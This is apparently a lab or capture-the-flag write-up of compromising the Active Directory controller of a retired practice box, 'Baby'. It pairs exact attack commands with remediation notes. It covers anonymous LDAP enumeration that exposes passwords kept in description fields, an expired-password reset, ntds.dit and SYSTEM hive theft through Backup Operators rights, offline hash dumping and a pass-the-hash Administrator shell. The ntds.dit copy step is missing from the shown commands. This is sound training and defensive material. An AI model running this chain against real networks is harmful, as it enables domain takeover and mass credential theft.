Baby
Summary
I targeted BABYDC ($TARGET), the sole domain controller for baby.vl. The domain controller allowed anyone on the network to connect to LDAP without a username or password — an anonymous bind — which returned every user account and all of its directory attributes. Two accounts had their initial onboarding password stored verbatim in the Active Directory description field, visible to that unauthenticated query.
One of those accounts, Caroline.Robinson, had never changed the password and was flagged as expired. A standard password-change tool cannot reset an expired account, but Impacket's changepasswd utility performs the lower-level SAMR exchange that allows the account holder to set a new password using only the disclosed old one — no administrator involvement required. With a fresh working credential I authenticated as Caroline.Robinson, whose Backup Operators group membership lets a user bypass file-system access controls for backup purposes.
On a domain controller that right is catastrophic: I pulled the Active Directory database (ntds.dit) and the SYSTEM registry hive directly over SMB. Offline parsing of those two files produced the NTLM password hash for every account in the domain. The Administrator hash was used in a pass-the-hash attack for a full remote shell — complete domain compromise, no password cracking required.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <administrator_nt_hash>, <domain_user> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Add the DC to local DNS resolution.
$ echo "$TARGET babydc.baby.vl baby.vl" | sudo tee -a /etc/hostsBanner-grab SMB — confirms hostname, OS build, domain, signing status, and SMBv1.
$ nxc smb $TARGETTest anonymous SMB share access; NT_STATUS_ACCESS_DENIED confirms null session is blocked, directing focus to LDAP.
$ nxc smb $TARGET -u '' -p '' --sharesExact commands 2
Enumerate all domain users anonymously; displays attributes including description.
$ nxc ldap $TARGET -u '' -p '' --usersPull every user with description, UAC flags, and group membership in one query — no credentials required.
$ ldapsearch -x -H ldap://$TARGET -b 'dc=baby,dc=vl' '(objectClass=user)' sAMAccountName description userAccountControl memberOfFixDisable anonymous (unauthenticated) LDAP bind on the domain controllerHigh
Exact commands 1
Return only users whose description field is populated — surfaces embedded credential hints in a single query.
$ ldapsearch -x -H ldap://$TARGET -b 'dc=baby,dc=vl' '(&(objectClass=user)(description=*))' sAMAccountName description userAccountControlFixRemove all plaintext credentials stored in AD user description and info fieldsCritical
Exact commands 3
Reset the expired password using only the disclosed old credential — no admin account required.
$ impacket-changepasswd baby.vl/Caroline.Robinson:"$PASSWORD"@$TARGET -newpass "$PASSWORD3"Verify the new credential authenticates to SMB.
$ nxc smb $TARGET -d baby.vl -u Caroline.Robinson -p "$PASSWORD3"Verify WinRM access — Pwn3d! Confirms remote command execution is available.
$ nxc winrm $TARGET -d baby.vl -u Caroline.Robinson -p "$PASSWORD3"Exact commands 4
Compute NT hash for pass-the-hash use in subsequent commands.
$ python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('$PASSWORD3').hex())"Create local staging directory for exfiltrated files.
$ mkdir -p /tmp/baby-lootPull ntds.dit — SeBackupPrivilege bypasses NTFS ACLs on this normally-locked file.
$ nxc smb $TARGET -d baby.vl -u Caroline.Robinson -H $HASH --get-file 'C:\Windows\Temp\cbaby\ntds.dit' /tmp/baby-loot/ntds.ditPull the SYSTEM hive — contains the boot key required to decrypt ntds.dit hashes offline.
$ nxc smb $TARGET -d baby.vl -u Caroline.Robinson -H $HASH --get-file 'C:\Windows\Temp\cbaby\SYSTEM' /tmp/baby-loot/SYSTEMFixRemove non-administrative users from Backup Operators and other sensitive built-in groupsCritical
Exact commands 1
Offline extraction — no network connection needed; grep the output file for 'Administrator' to get the target hash.
$ impacket-secretsdump -ntds /tmp/baby-loot/ntds.dit -system /tmp/baby-loot/SYSTEM LOCAL -outputfile /tmp/baby-loot/secretsFixMonitor for NTDS database access and rotate the built-in Administrator credential to limit pass-the-hash impactHigh
Exact commands 3
Replace <administrator_nt_hash> with the Administrator hash from the secretsdump output file.
$ evil-winrm -i $TARGET -u Administrator -H <administrator_nt_hash>Read the root flag — value: <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtRead the user flag — substitute the non-admin user's home directory; value: <user.txt>.
$ type C:\Users\<domain_user>\Desktop\user.txtExposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-07 05:39:10Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name) |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49664/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49701/tcp | unknown recon-sweep-discovered |
| 59011/tcp | unknown recon-sweep-discovered |
| 59012/tcp | unknown recon-sweep-discovered |
| 65243/tcp | unknown recon-sweep-discovered |
| 65259/tcp | unknown recon-sweep-discovered |